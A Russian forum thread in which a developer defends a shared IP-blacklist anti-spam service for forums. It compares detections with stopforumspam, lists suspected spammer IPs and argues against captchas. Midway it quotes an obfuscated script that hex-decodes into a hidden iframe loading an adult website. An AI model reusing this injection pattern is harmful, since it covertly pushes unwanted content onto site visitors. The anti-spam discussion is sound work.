impa, давайте не будем гонять из пустого в порожне, ок? По поводу не даете базу, в общем замечательно и даже спасибо, что Вы прочли сабж, прежде, чем вступать в разговор, только Вы цитируете объяснение, почему свободно не доступна. если она кому-либо понадобиться, то человек в любом случае, поступит логично и обратиться с вопросом. Вот, например, конкретно Вам она нужна, или Вы знаете, кому она нужна, а мы отказали?
По поводу статистики, так тут тоже все не однозначно... раз Вы ей обладаете, то поделитесь, уже очень любопытно взглянуть... просто у меня немножко иная статистика по этому поводу имеется, вернее не статистика, а наблюдения.
Тепереь про провайдеров; Я в этой теме уже несколько раз говорил, что крупным провайдерам глубоко плевать на все абузы, но не большие очень часто отзываются и принимают меры. Или Вы считаете, что пару десятков спаров, которым провайдеры сделают ну-ну - это не эффективно?
Ну тогда давайте дружно сложим лапки и будем смиренно сидеть и наблюдать, как каждый свеже пришедший школьник в интернет начинает "зарабатывать" и "раскручивать" все подряд... Про профессионалов этого дела я промолчу, это отдельная тема и топик не про это.
Если Вы считаете, что лучше бороться в одинчку, то Вам никто ни чего не навязывает. Если для Вас это мелко и не рационально, то не отбивайте желание что-либо предпринимать у тех, кто хоть как-то барахтается, пытаясь что-то изменить. Не нравится. не устраивает - не используйте, зачем свое единое и не делимое мнение навязывать в виде "фи" окружающим? Не тратьте понапрасну буквы ;)
Alladin добавил 26.11.2008 в 11:56
У кого-то из нас двоих проблемы с математикой.
тыкаем и считаем
213.141.137.118
216.32.81.130
85.112.113.118
78.84.10.235 чист
212.95.54.414
92.125.115.59
95.28.40.155
83.149.71.137
213.130.21.92 чист
194.165.42.15
212.54.29.25
С учетом того, что в этом списке 2 IP чистых по данным моей базы. Когда делал проверку вчера, было только 3 совпадения "грязных" в stopforumspam, сейчас уже 4, но если подождать с недельку, то, возможно, все эти айпишники появятся и в stopforumspam
Или Вы и дальше будите утверждать, что интернет одинаковый везде и нет разницы рунет или забугор?
Alladin добавил 27.11.2008 в 11:00
Да уж... Желающих рассказать мне о бесполезности затеи нашлось масса... Только я топик создавал, чтобы найти желающих принять участие в разработке... На сколько я понял, заинтересованных нет... Ну что ж, посмотрим, какова будет реакция, когда лемминги доберутся до рунета. Они уже в рунете, только видно пока еще заказчиков мало, ждем-с 😂
только так:
<SCRIPT> var ep="3c494652414d45207372633d22687474703a2f2f7777772e7365782d63616d2d63616d732e636f6d2f74762f747634302e617370222077696474683d2235303022206865696768743d2234353022206d617267696e77696474683d30206d617267696e6865696768743d3020626f726465723d30206672616d65626f726465723d30206672616d6573706163696e673d30207363726f6c6c696e673d6e6f3e3c2f494652414d453e"; function dc(e){ var ds=""; for(i=0; i < e.length; i+=2){ ds+=String.fromCharCode(parseInt(e.substring(i,i+2), 16)); } return ds; } document.write(dc(ep)); </script>
Кто сказал, что мы не делимся? публично мы их не выкладываем и первому встречному не предоставляем. Если Вы обоснуете, для чего Вам нужна база полностью и вся сразу, то для Вас будет организован интерфейс с беспрепятственным доступом в любой момент. Просто я не вижу смысл делать базы совсем публичными - это сюрприз для спамера. К тому же, я не однократно говорил, что база обновляется реалтайм, как и проксилисты у спамеров, так что, уже через неделю валидность базы упадет в разы.
А по поводу, что большее зло, бан по айпи или борьба с вопросами и капчами, тут единого мнения нет.
Так же отмечу, что мы не баним навечно айпишники, поэтому, если у провайдера, который раздает динамические айпишники заведется спамер, то он не загонит весь пул айпишников в бан, а вероятность, что следом за спамером с этого айпишника пойдет обычный юзер регистрироваться на форуме, не очень велика. Мы баним только слишком активные айпишники на определенное время, причем в зависимости от активности расчитывается время бана. Ну и так же надеемся, что в случае ложного срабатывания, провайдеры будут отзывчивыми. Првайдеры тоже не полюбляют спамеров равно как и спамеры не очень любят, когда провайдеры их вызывают на откровенные разговоры с отключением... 😂
я же сказал, что было 4 обращения о ложном срабатывании, а не всего 4 срабатывания ;)
А Вам известна статистика, сколько пользователей отказываются от регистрации борясь с капчами и вопросами или сколько сил на это тратят на Вашем ресурсе?
В любом случае, у нашей системы есть плюс по сравнению с капчами и вопросами, этот барьер должны будут преодалеть в разы меньше пользователей... К тому же капчи и вопросы - это борьба в одиночку. Решение подобное нашему - это борьба общими усилиями и усложнение жизни спамерам вплоть до нерентабельности.
impa, если Вы хотите открыть дискуссию по поводу надежности, то просмотрите этот топик хотя бы по диагонали, т.к. Вы сейчас говорите то, на что я уже тут отвечал в принципе...
Нет гарантии, что в блеклист не попадет айпишник обычного пользователя... на данный момент, уже почти из 40к запросов было всего 4 обращения по ложному срабатыванию, причем, хочу обратить внимание, что эти обращения были в тот момент, когда мы решили протестировать базу stopforumspam и 2 ложных срабатывания были именно по базе stopforumspam. Это все зафиксировано в логах.
Т.е. 1 из 10000 запросов может быть ложным. Если учесть, что примерно 90% запросов дают боты, то 1 из 1000 пользователей должен доказать, что он не осел, а не каждый из пользователей, разницу видите?
Alladin добавил 26.11.2008 в 03:20
Может я не правильно понял Вашу фразу, но у меня из 12 случаев решение совпало только в трех, т.е. из 12 тут представленных айпишников в качестве примера, я в их базе нашел только три.
о какой идеи идет речь? я что-то пропустил?
Alladin добавил 26.11.2008 в 02:56
impa, если у Вас есть возможность и знание решить этот вопрос, то есть еще огромная масса людей, которые не могут по ряду причин изворачиваться с не стандартами решениями... что им прикажите делать, превращаться в линкопомойки от спамеров или закрывать проекты?
это вы считаете конструктивным и откровнным разговором? совпало что? большинство распознанных нами IP ботов не известны на данный момент stopforumspam.
Не перекручивайте умалчивая факты ;)
У Вас стандартная логика. пусть юзер доказывает, что он не осел. Еще раз говорю, что при разработке этой системы используется другая философия.
Могу Вам посоветовать, повесить еще при регистрации или постинге обязательное прохождение теста на IQ, боты такую защиту сломают не скоро. ;)
А мы хотим оградить своих пользователей от всех этих прибамбасов, которые, в итоге, боты обходят быстрее, чем пользователи и собираем тех, кто так же думает о своих пользователях
netwind, остальное совмпло что? Есть в базе stopforumspam?
по поводу 85.112.113.118... с этого айпишника идет спам с 6 ноября и по сей момент практически по всем форума подключенным к системе. Если поступит жалоба от пользователя, то тут готовятся уже другие механизмы... будет написан абуз провайдеру с предъявлением логов, а айпишнек удален из блеклиста. Я же уже говорил, что так же планируется интерактив с провайдерами. На данный момент уже были обращения от нас к провайдерам и провайдеры любезно согласились, что это плохо, после отписались, что с юзером проведена воспитательная работа, после этого спам от этого провайдера не фиксировался.
Еще раз говорю, что мы делаем упор на максимально гибкий интерактив. Сейчас вот параллельно пишем систему взаимодействия с провайдерами и уже мой провайдер участвует в тестировании.
Вы же сейчас цепляетесь без разбора ко всему подряд, то Вам пинг не тот, то меил ложно заблокирован, хотя меил вообще не блокировался, то утверждаете, что Интернет одинаков везде, только упускаете нюанс, что контент на разных языках и аудитория спамеров и потребляющих их услуги совсем разная для рунета и остального нета...
ibds забокировал IP и не имеет отношения к мейлу ;)
Я все больше начинаю подозревать, что Вы делаете вид, что не разбираетесь в вопросе.
Еще раз повторяю, алгоритм я тут не выложу, ибо это весьма глупо.
Если найдется тут уважаемый форумчанин, который подтвердит Вашу непричастность к спамерам, то я согласен объяснить исключительно Вам принцип (и только принцип) работы алгоритма в аське или через ПМ, как будет удобней.
И если Вы уж решили меня "мерить письками" с уже уважаемым сервисом stopforumspam, то проверьте выложенный лог по их базе. В логе четко написано, по чем сработала блокировка.
а по поводу ящика g2fsehis5e@mail.ru, так покажите мне здравомыслящего человека, который будет использовать заведома лоченый ящик... ;)
